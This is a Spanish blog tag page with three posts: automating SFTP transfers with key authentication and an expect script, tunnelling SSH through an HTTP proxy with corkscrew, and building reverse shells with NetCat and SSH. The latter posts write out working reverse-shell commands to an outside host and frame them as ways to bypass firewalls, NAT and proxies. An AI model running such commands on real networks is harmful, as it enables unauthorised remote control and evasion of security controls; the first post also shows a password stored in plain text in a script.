Mostrando entradas con la etiqueta SSH. Mostrar todas las entradas
Mostrando entradas con la etiqueta SSH. Mostrar todas las entradas
Automatización de transferencias por SFTP
Ante la necesidad de transferir archivos entre servidores de forma automatizada (sin intervención humana) recordé la excelente opción que otorga openSSH en su suite de herramientas: autenticación mediante clave pública/privada.
Dado que en un script es bastante feo lograr la interacción requerida por SFTP para autenticar un usuario (comportamiento default), contar con esta opción es extremadamente útil. Sí, no es imposible realizar la autenticación de forma interactiva, algo que está muy bien explicado en varias páginas e hice en un script de backup hace un par de años, pero es mucho más elegante usar la otra opción.

La idea de este artículo es explicar en pocos pasos cómo configurar tanto el cliente como el servidor SSH para utilizar autenticación de clave pública/privada. Además les mostraré cómo escribir un script que, utilizando esta autenticación, sirve para enviar archivos de forma automática.
Como si esto fuera poco (?!), también les mostraré como escribir un script que utilice autenticación interactiva, a través de la herramienta expect. Todo claro?, entonces "a darle átomos".


Generación del par de claves pública/privada

Como la autenticación será a través de estas claves, necesitaremos generar un par por cada usuario que utilicemos. La generación es muy simple, gracias a la herramienta ssh-keygen (si suena a generador de serials para crackear aplicaciones). Las claves se pueden generar en cualquier máquina, no necesariamente el servidor o el cliente. El comando a ejecutar es:
$ ssh-keygen -f id_rsa -t rsa
donde:
-f especifica el nombre del archivo. Se generan dos archivos, la clave privada con el nombre que pasamos en el parámetro, y la pública con el nombre concatenado a .pub
-t especifica el algoritmo que deriva las claves (puede ser RSA o DSA, lo más común es usar RSA, aunque DSA es más seguro).
Ejemplo:
$ ssh-keygen -f id_rsa -t rsa
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in id_rsa.
Your public key has been saved in id_rsa.pub.
The key fingerprint is:
68:82:cb:67:8d:b1:4c:e1:3c:da:22:c0:c3:22:48:c2 demasiadovivo@192.168.1.1
The key's randomart image is:
+--[ RSA 2048]----+
| |
|. |
|.E . |
|* + . . |
|=+. B o S |
|+..* O |
|. = B . |
| . + |
| |
+-----------------+
Cuando intentemos generar las claves, el programa preguntará si deseamos asignarle un passphrase para proteger la clave privada. En este caso hay que dar enter porque si asignamos una passphrase, cada vez que deseemos autenticar un cliente, tendremos que poner dicha passphrase a mano, para desbloquer la clave privada... esto no serviría a nuestros propósitos de utilizar un script automático...

Del par generado, utilizaremos la clave pública en el servidor (id_rsa.pub en el ejemplo) y la privada en el cliente (id_rsa).


Configuración del servidor SSH/SFTP

En el servidor lo primero que tenemos que hacer es habilitar las opciones que permiten la autenticación con clave pública/privada, es decir, editando el archivo /etc/ssh/sshd_config (o /etc/sshd_config en otras distros):
RSAAuthentication yes
PubkeyAuthentication yes
Luego debemos copiar la clave pública del cliente en el archivo de claves autorizadas para ese usuario /home/usuario/.ssh/authorized_keys:
cat id_rsa.pub >> /home/usuario/.ssh/authorized_keys

Conexión desde el cliente

En el cliente tenemos dos alternativas: pasar la clave privada como parámetro de la llamada sftp, o copiar la clave privada en /home/usuario/.ssh/. En el segundo caso, al intentar loguearnos en el servidor remoto, sftp utilizará por default la clave que encuentre en el directorio ssh del home, es decir, podemos ejecutar:
sftp <usuario>@<hostname>
por ej: sftp demasiadovivo@192.168.1.2
Si necesitamos pasar la clave por parámetro (algo en muchos casos necesario porque el usuario que ejecuta el script puede no tener home), debemos ejecutar el siguiente comando:
sftp -o "IdentityFile=<clave-privada>" <nombre-usuario>@<hostname>
por ej: sftp "IdentityFile=/datos/id_rsa" demasiadovivo@192.168.1.2
Me costó bastante encontrar la forma de armar este último comando, es necesario leer bien el manual de ssh_config =S


Automatizar copiado de archivos

Como les comenté, la razón por la cual necesitaba lo anterior es para automatizar el envío de archivos de un servidor a otro. Una vez que tenemos la configuración necesaria, en el servidor1 o servidor cliente del servidor2, podemos colocar el siguiente script:
#!/bin/bash

CMDFILE="sftp-commands"

echo "put <path-archivo>
bye" > $CMDFILE
sftp -o "IdentityFile=<clave-privada>" -b $CMDFILE <nombre-usuario>@<hostname>
rm $CMDFILE
Como pueden observar, el script es muy simple. Lo que hace es usar sftp en modo batch (-b $CMDFILE) para poder enviar los comandos de forma no-interactiva, ya que en el comportamiento default sftp espera recibir de la standar input los comandos a ejecutar en el servidor.
En resúmen, crea un archivo temporal cuyo nombre es sftp-commands, en el cual coloca los comandos a ejecutar (por ejemplo, el put de un archivo). Luego llama a sftp utilizando autenticación de clave pública/privada y el modo batch, donde le pasa el archivo recién creado como input. Finalmente borra el archivo temporal.


Automatización, opción 2

El segundo script que les quería mostrar es cómo hacer lo anterior, pero con autenticación interactiva, algo un poco más sucio, pero igualmente útil:
#!/usr/bin/expect

spawn sftp <usuario>@<hostname>
expect "password:"
sleep 3
send "<mi-contraseña>\r";
expect ">"
send "put <path-archivo>\r"
expect ">"
send "bye\r"
Como el script es interactivo, si bien no hace falta que ingresemos manualmente ningún comando, éste se verá en la standar output, así que cuando llamemos al script es necesario redirigir la salida a /dev/null. Por ejemplo:
$ ./sftp-command &>/dev/null

Referencias

- How can I automate an SFTP transfer between two servers?
- sftp Linux man page
- ssh_config Linux man page
Tuneles HTTP + Reverse shell a través de Proxy
En el artículo sobre shells inversas les comentaba que nos sirven para obtener conexiones a través de firewalls y NAT, pero nos falta un añadido para que funcionen en entornos donde la única salida a internet es a través de proxies.
Muchos entornos configuran la seguridad perimetral para que el único acceso a internet sea Web, a través de proxies, cerrando toda posibilidad de salir a otros protocolos como ssh, vnc, etc. Si bien parece que esta configuración cierra la posibilidad de que máquinas de la intranet accedan a máquinas de internet, evitando las shells inversas, como veremos, esto no es así...


Túneles HTTP

Existen dos alternativas para crear túneles HTTP. Por un lado podemos utilizar un programa que cree un canal, basado en pedidos HTTP, a través del cual transmita datos de otros protocolos. Este tipo de programas están divididos en dos partes, una parte servidor que espera pedidos para establecer conexiones HTTP y un cliente utilizado en las máquinas que desean establecer el túnel.
El funcionamiento es simple y muy parecido al de los túneles SSH. Supongamos que tenemos un cliente en la intranet que desea ejecutar ssh en su máquina con acceso a internet, pero se encuentra detrás de un proxy. La máquina conectada a internet ejecuta el servidor del túnel en el port 80 y espera conexiones. El usuario que se encuentra en la máquina de la intranet abre el cliente del túnel HTTP, se conecta a al servidor a través del proxy y establece el túnel por el que transportará ssh. El servidor del túnel forwardea los datos recibidos al servidor:port correspondiente, en este caso SSH en la misma máquina.
Existen alternativas comerciales que realizan este trabajo, proporcionando servidores de túneles HTTP propios que permiten forwardear conexiones a las máquinas que deseemos (a cambio de un pago basado en la cantidad de datos transmitidos). También se pueden utilizar programas libres (cliente y servidor) que proporcionan esta capacidad. Buscando encontré uno llamado GNU httptunnel y otro HTTPTunnel@JUMPERZ.NET.

Pasemos a la otra alternativa, la cual me interesa más. El protocolo HTTP provee un método para crear túneles llamado CONNECT. Este método surgió de la necesidad de los proxies para crear conexiones SSL. Los proxies Web reciben pedidos de los browsers como si fueran un site, se conectan a la página que solicita el usuario y la devuelve al browser, esto es, actúa de mediador web entre los usuarios de la intranet y la web de internet. Este mecanismo tiene problemas con las conexiones SSL, porque en ellas la conexión es punto-a-punto entre el browser y la página web. El proxy no puede actuar de mediador, se tiene que limitar a forwardear los pedidos.
El método CONNECT soluciona el problemas de los proxies. Cuando un usuario ejecuta CONNECT en un proxie, éste entiende que el usuario desea crear una conexión TCP no-HTTP a un servidor. En este ambiente, el proxy genera una conexión TCP/IP con el servidor destino y simplemente envia/recibe datos desde/hacia la conexión con el cliente. Cabe destacar que sólo el pedido de conexión inicial es HTTP, el resto es stream TCP.
Gracias a esta propiedad del protocolo HTTP, es posible realizar cualquier tipo de conexión a través de un proxy, como ser ssh, telnet, ftp, lo que se les ocurra. Para que esto funcione el cliente que se encuentra detrás del proxy debe contar con un programa que tunelee el tráfico. Este programa es en realidad muy sencillo, solamente se encarga de enviar el pedido HTTP CONNECT inicial y luego actúa como intermediario enviando/recibiendo los datos desde/hacia el proxy. Los programas que encontré para realizar este trabajo son corkscrew y ProxyTunnel.



El problema en estos casos es que tenemos que modificar de alguna forma los programas que deseamos tunelear para que utilicen al programa itermediario. Por suerte SSH ya cuenta con esta facilidad y SSH permite tunelear cualquier otro protocolo, así que estamos salvados =)

Otro punto a tener en cuenta es que muchos proxies solamente permiten utilizar el método CONNECT cuando el pedido es al puerto 443, es decir HTTPS. Esto claramente limita a que las conexiones solamente vayan a ese puerto, pero si tenemos acceso a la máquina de internet a la que nos conectaremos, podemos hacer que el programa que deseamos acceder (por ejemplo SSH) escuche en el port 443.


Shell inversa a través de túnel HTTP

Si en el artículo anterior mezclé un poco las cosas entre túneles SSH y NetCat, ahora voy a mezclarlas entre túneles HTTP y túneles SSH.
Lo que vamos a hacer es tunelear un túnel SSH a través de un túnel HTTP... faaaaaaa



Si bien a través de un túnel HTTP podríamos enviar cualquier cosa, la facilidad que provee SSH para utilizar esta clase de túneles hace que sea la herramienta perfecta para el trabajo. Como recordarán del artículo de shell inversas, para realizarlo utilizando ssh necesitamos crear un túnel desde la máquina de la intranet a nuestra máquina en internet (shell.demasiadovivo.com). Este túnel viajará a través de un túnel HTTP que crearemos utilizando la herramienta corkscrew. Tanto Proxytunnel como corkscrew se encuentran en los repositorios de muchas distribuciones, así que no tendrán problemas para instalarlo.

Para utilizar corkscrew desde el cliente ssh, tendremos que editar el archivo de configuración de ssh que debería estar ubicado en $HOME/.ssh/config. Si no exite, creenlo. Dentro de este archivo hay que agregar la opción ProxyCommand para los host que deseamos acceder a través del túnel. El archivo de configuración deberá entonces contener las siguientes líneas:
Host *
ProxyCommand corkscrew el-proxy.com 8080 %h %p
Con esas líneas le decimos al cliente SSH que para realizar cualquier conexión (indicado con Host *) ejecute el comando corkscrew con los parámetros el-proxy.com 8080 para indicar la dirección del proxy y el port, y %h %p que SSH reemplazará automáticamente con los valores de entrada para host y port.
Una vez guardado el archivo de configuración, simplemente resta ejecutar ssh y probar:
ssh dv@shell.demasiadovivo.com -p 443
si todo fue bien, ya tenemos configurado ssh a través de un proxy HTTP... fácil no?

Lo único que resta para crear nuestra shell inversa es ejecutar los comandos que creen el túnel y luego la conexión:
En la máquina de la intranet: ssh -R 4444:localhost:443 dv@shell.demasiadovivo.com -p 443
En la máquina shell.demasiadovivo.com: ssh demasiadovivo@localhost -p 4444
donde el usuario dv debe existir en la máquina shell.demasiadovivo.com y el usuario demasiadovivo debe existir en la máquina de la intranet. Noten que en lugar de utilizar el port default 22 utilicé el 443 que es el que me permite el proxy.

También se puede hacer el truco de utilizar NetCat en la máquina de la intranet y así evitar un login, como expliqué en el artículo anterior.

Algo a tener en cuenta es que los proxies cortan las conexiones que permanecen inactivas por un cierto tiempo. Esto es algo bastante molesto, pero solucionable. Por suerte OpenSSH cuenta con un parche que hace al servidor enviar un paquete keep alive cada cierto tiempo (por ej, cada 15 segundos) para mantener la conexión activa y evitar que el proxy nos cierre la conexión. El parámetro utilizado para esto es ClientAliveInterval y se activa en el archivo sshd_config. También se puede configurar desde el cliente, editando ssh_config y agregando la línea ServerAliveInterval.


Posibilidades infinitas

Como dice el creador de ProxyTunnel en su página "How To Give Network Security Administrators a Tremendous Headache", algo así como "Cómo darle a los administradores de seguridad de red un tremendo dolor de cabeza". Gracias al túnel HTTP y a los túneles SSH podremos salir a cualquier lugar de la red que queramos, bypasseando todo control impuesto por el administrador de red, ni firewall ni NAT ni proxies pueden detenernos ahora (salvo que nos corten internet).

Si bien expliqué cómo crear una shell inversa saliendo por el proxy, también podría haber plantado un proxy en shell.demasiadovivo.com y navegar a través de ese proxy, bypasseando controles impuestos en el proxy de la intranet. De la misma forma podríamos acceder a cualquier servidor de internet a cualquier puerto, todo gracias a la flexibilidad del forwarding de SSH. El límite lo imponen ustedes.


Referencias

- On ProxyTunnel
- HTTP Tunnel (wiki)
- Build and Configure an HTTP-Proxy Application
- Tunneling SSL Through a WWW Proxy
Reverse Shell y túneles SSH
Inspirado en el video de penetration testing publicado por la gente de Offensive Security (los encargados de desarrollar Back|Track), decidí investigar más profundamente el tema de las shells inversas. Lo que muestran en el video es genial, recomiendo totalmente que lo vean.

A continuación explicaré un poco de qué trata una shell inversa y cómo crearlas utilizando NetCat y SSH. Debido a la necesidad de utilizar tuneles SSH, también explicaré de qué trata este tipo de túneles y cómo utilizarlos.


Qué es una shell inversa?


Comúnmente un usuario se conecta a otra máquina a través de ssh, telnet, etc, y obtiene una shell allí. A este tipo de conexión podríamos llamarla shell remota "normal". Shell inversa se le dice a una conexión establecida desde la máquina destino al cliente, en lugar del cliente a la máquina destino, donde el cliente obtiene una shell en esta última. Esto es, la conexión la inicia la misma máquina donde se ejecutarán los comandos luego.

shell remota "normal": Cliente ----> Máquina remota (shell)
shell inversa: Máquina remota (shell) ----> Cliente


Para qué sirve una shell inversa?

Una shell inversa nos permite bypassear firewalls y NATeo. Supongan que tenemos un servidor en nuestra intranet con IP 192.168.1.10 y no tiene asignada ninguna IP pública, cómo lo accederíamos desde la red pública (Internet)? para poder accederlo a través de internet, necesitamos que tenga una IP pública y que el firewall que lo protege permita conexiones a los puertos de conexiones remotas (llamase 22 para ssh, 23 para telnet, etc). Este problema queda solucionado con una shell inversa.

Supongamos que tengo una máquina en Internet con dirección shell.demasiadovivo.com, y desde ella deseo acceder al servidor de la intranet con IP interna 192.168.1.10. Lo que necesito hacer es conectarme desde el servidor 192.168.1.10 a shell.demasiadovivo.com abriendo una shell inversa, la cual puedo utilizar desde la máquina shell.demasiadovivo.com para ejecutar comandos en el servidor.

En general los firewalls no permiten conexiones entrantes a la intranet, pero si permiten que las máquinas de la intranet salgan a Internet. En muchos casos sólo se permite salir a internet a través de los ports 80 y 443 (http y https), probablemente a través de un proxy.


Shell inversa utilizando la navaja suiza NetCat

Cualquier persona que sepa algo de redes ha sentido nombrar al menos una vez la herramienta NetCat. Esta simple herramienta sirve para crear sockets tcp y udp entre dos máquinas, a través de los cuales se pueden escribir y leer datos. NetCat va un poco más allá y también permite asociar un programa a una conexión, y gracias a esto podemos asociar una shell...

Con NetCat podemos crear tanto conexiones de clientes como servidores. Por ejemplo, para conectarnos a un servidor HTTP de google, simplemente podemos ejecutar "nc www.google.com 80". Para crear un socket que espera conexiones ejecutamos algo como "nc -l -p 5000", donde -l indica que se quede escuchando a la espera de conexiones y -p indica el port en el que debe escuchar.

Teniendo una idea básica de cómo funciona NetCat, pasemos a ver cómo realizar una shell inversa. Lo que haré es utilizar NetCat en shell.demasiadovivo.com para crear un socket que quede a la espera de conexiones en el port 4444. Esto se hace ejecutando:
$ nc -l -p 4444 -vvv
como expliqué anteriormente, -l deja a NetCat escuchando en el port 4444 definido con -p. El parámetro -vvv se utiliza para que NetCat nos de la mayor información posible sobre lo que sucede. Gracias a esto, cuando otra máquina se conecte a la nuestra, nc lo indicará por pantalla.

OK, ahora que tenemos nuestro NetCat escuchando en shell.demasiadovivo.com procedamos a crear la shell inversa. Para ello, en la máquina que deseamos controlar a través de un shell remoto (por ejemplo el server 192.168.1.10), ejecutamos lo siguiente:
$ nc -e /bin/bash shell.demasiadovivo.com 4444
El parámetro -e nos permite decirle a NetCat que, cuando establezca la conexión, todos los datos recibidos por el socket los envíe a bash, y todos los datos de salida de bash los envíe a través del socket.

Lo que veremos parados en la máquina shell.demasiadovivo.com será algo como:
root@bt:~# nc -l -p 4444 -vvv
listening on [any] 4444 ...
192.168.1.10: inverse host lookup failed: Unknown server error : Connection timed out
connect to [shell.demasiadovivo.com] from (UNKNOWN) [192.168.1.10] 55524
esto es, ya tenemos nuestra shell inversa. Tengan en cuenta que no va a aparecer un prompt ni nada por el estilo, simplemente tiren un comando y esperen el resultado. Lo único que verán es el flujo de datos, es decir, lo que escriben en el socket y lo que responde bash desde el servidor.

Si la máquina que deseamos acceder remotamente es un Windows en lugar de un Linux, también pueden utilizar NetCat y ejecutar un command. En este caso, el comando sería casi idéntico, cambiando /bin/bash por cmd.exe:
nc -e cmd.exe shell.demasiadovivo.com 4444
Resúmen para crear una shell inversa utilizando NetCat
Máquina en internet: nc -l -p 4444 -vvv
Máquina en intranet: nc -e /bin/bash shell.demasiadovivo.com 4444

Túneles SSH

SSH es otra de esas joyitas con las que cuenta un administrador. Esta herramienta no sólo nos permite realizar conexiones seguras (todos los datos viajan encriptados), sino que también nos provee la posibilidad de tunelear otras conexiones y hacer port forwarding.

Cómo funcionan los túneles SSH? Explicar con palabras cómo funciona un tunel SSH es un dolor de cabeza, así que veamos un ejemplo y luego detallo qué sucede.

Supongamos que tenemos un servidor de e-mail SMTP (port 25), el cual funciona sin encripción, y deseamos que ahora los e-mails se transporten encriptados entre el cliente y el servidor. Lo que haremos es crear un túnel SSH indicando que todo lo que se reciba a través del túnel con un dado puerto fuente, se envíe a un dado puerto destino. El puerto destino en este caso será el 25, y el fuente puede ser cualquiera que deseemos, tal vez el 2525. El comando para realizar dicha acción desde el cliente es:
$ ssh -L 2525:localhost:25 demasiadovivo@mail.empresa-top.com
OK, el comando parece confuso así que vayamos por partes:
-L indica a SSH que el port fuente será el 2525, el host al que se conectará el server es localhost (la misma máquina tiene el servidor SSH y SMTP) y el port que recibirá los datos al otro lado de la conexión es el 25 (SMTP).

user@host es utilizado para loguearnos en el servidor SSH, donde user es el nombre de usuario remoto y host es el host donde queremos loguearnos, es decir, el servidor de mail.
Algo que vale aclarar es que el cliente SSH se conecta al servidor SSH de mail.empresa-top.com en el puerto de SSH (el default es 22). Una vez que realiza la conexión abre el puerto 2525 en la máquina cliente escuchando pedidos. Todo lo que recibe a través del port 2525 lo transporta hasta el servidor mail.empresa-top.com y lo entrega a localhost (el mismo server) en el port 25.



Como se ve en la imagen, una vez creado el túnel ssh con el comando anterior, tendremos que configurar nuestro cliente de mail (Thunderbird por ejemplo) para que se conecte localmente (localhost) al puerto 2525. Cuando enviemos un e-mail con Thunderbird, éste se conectará al port local 2525, SSH sabe que las conexiones a ese port deben ser enviadas al port 25 del servidor mail.empresa-top.com, así que transportará el contenido y cuando llega al servidor lo entregará en el port 25.

Si bien en este ejemplo creé el túnel desde el cliente al servidor, también se puede hacer de forma inversa... ésta es la que nos interesa para las shells inversas. Para crear una conexión desde el servidor al cliente, el cliente deberá tener instalado un servidor SSH en su máquina (en el caso anterior sólo hacía falta un cliente). El comando, en este caso ejecutado desde el servidor, es el siguiente:
$ ssh -R 2525:localhost:25 dv@shell.demasiadovivo.com
En este caso -R funciona de la misma forma que -L, con la diferencia que estamos ejecutando el comando desde el servidor y queremos que el túnel sea reverso. La dirección del servidor SSH en este caso es la de nuestra máquina cliente, es decir shell.demasiadovivo.com, y el usuario con el que nos logueamos en dicha máquina es dv.

Por como plantee el ejemplo, el servidor de e-mail está en la misma máquina que el de SSH, pero SSH permite hacer forward a otros servidores. Supongamos que sólo deseamos encriptar la conexión entre el cliente de mail y una máquina que se encuentre en la misma red que el servidor de mail, luego la conexión entre dicha máquina y el servidor de mail puede ir sin encripción. La máquina accesible por el cliente de mail tendrá un servidor SSH que hará forward de lo que recibe al servidor de mail.
En este caso, el cliente ejecutará un comando como el siguiente:
$ ssh -L 2525:mail.empresa-top.com:25 demasiadovivo@ssh.empresa-top.com
La máquina que hace de front-end SSH tiene el nombre ssh.empresa-top.com, mientras que el servidor de e-mail sigue llamándose mail.empresa-top.com. Una vez establecido el túnel, cuando el cliente se conecte al port 2525 de localhost y envíe datos, SSH los transportará a través del túnel y cuando lleguen a ssh.empresa-top.com, éste los entregará al servidor mail.empresa-top.com en el puerto 25.



NOTA: los túneles SSH también se pueden crear en Windows con herramientas como PuTTY. Para ello van al apartado Connection -> SSH -> Tunnels, en source port colocan 2525 y en destination shell.demasiadovivo.com:25, y le dan al botón Open.


Shell inversa utilizando SSH

Ufff, explicar los túneles SSH fue más complicado de lo que esperaba...
El uso que nos interesa es realizar un túnel a través del cual ejecutar una shell remota. El túnel lo inicia la máquina sobre la cual deseamos ejecutar el shell (recuerden, es un shell inverso), por ejemplo, podemos usar el servidor 192.168.1.10. Este servidor se conectará a un servidor ssh instalado en mi máquina shell.demasiadovivo.com y creará un tunel. Luego, desde mi máquina yo me conecto al túnel y tendré mi shell remota.

Lo que haremos para crear una shell inversa es utilizar un túnel SSH creado desde la máquina en la intranet (por ejemplo nuestro server 192.168.1.10) hacia nuestra máquina en internet shell.demasiadovivo.com. Como expliqué en la sección anterior, en la máquina de internet tendré que tener un servidor SSH instalado.

Procedamos como expliqué anteriormente, creamos el túnel con:
$ ssh -R 4444:localhost:22 dv@shell.demasiadovivo.com
Esto crea un tunel a través del cual las conexiones a localhost en shell.demasiadovivo.com al port 4444 se envían a la máquina de la intranet al port 22 (ssh). Una vez más, cómo la conexión sale de la intranet, la dirección destino es la de la máquina en internet.

Una vez creado el túnel, ya podemos obtener nuestra shell remota. Para esto, en nuestra máquina de internet simplemente nos conectamos a localhost en el port 4444. Hay que tener en cuenta que el usuario con el que nos loguiemos deberá existir en la máquina de la intranet:
$ ssh demasiadovivo@localhost -p 4444
Puede resultar confuso, pero el comando anterior no nos abre un shell en la máquina local, sino en la máquina remota, a través del reenvío del túnel SSH establecido en el port 4444. El usuario demasiadovivo es un usuario válido en el server.

Resumen para crear una shell inversa utilizando SSH:
Máquina en intranet: ssh -R 4444:localhost:22 dv@shell.demasiadovivo.com
Máquina en internet: ssh demasiadovivo@localhsot -p 4444

Shell inversa utilizando NetCat Tuneleado por SSH

Entramos a mezclar un poco las cosas. Como en el caso anterior necesitamos tener un servidor SSH tanto en la máquina de la intranet como en la que se encuentra en internet, se me ocurrió eliminar uno de estos utilizando NetCat.

Lo que haré es crear un túnel SSH desde la máquina en la intranet a shell.demasiadovivo.com, y además dejar NetCat escuchando en el port 2222, asociando una shell. Luego desde shell.demasiadovivo.com solamente tendré que conectarme con nc al port 4444 en localhost.

En la máquina de la intranet necesitamos ejecutar lo siguiente:
$ ssh -R 4444:localhost:2222 dv@shell.demasiadovivo.com
$ nc -l -p 2222 -vvv -e /bin/bash
En shell.demasiadovivo.com simplemente nos conectamos al port 4444 de localhost:
$ nc localhost 4444
Con esto no necesitamos que la máquina de la intranet tenga un servidor SSH.


Conclusiones

Vimos cómo una conexión remota a una máquina que se encuentra en la intranet, con IP privada y detrás de un firewall. Este método se utiliza muchisimo para tomar control de máquinas en una red. Los exploits suelen contener el código hexa para crear una shell inversa como payload, pero es muy útil saber hacerlo con herramientas tan comunes y útiles como NetCat y SSH. Además esto nos sirve para administrar legalmente máquinas que se encuentran en nuestra intranet, sin necesidad de configurar el firewall para permitir tales conexiones... siempre es más seguro hacer conexiones de esta forma que tener la máquina con una IP pública corriendo un server SSH.

Esperaba incluir en este artículo el método para obtener shells inversas pasando a través de un proxy. Si la única salida que tienen las máquinas de la intranet a internet es a través de un proxy web la cosa se complica porque es necesario un túnel HTTP. Como el artículo quedó bastante largo, este dato quedará para un artículo aparte =)


Referencias


- Little Reverse Shell Guide
- Reverse SSH Tunneling
- SSH Tutorial for Linux
- On ProxyTunnel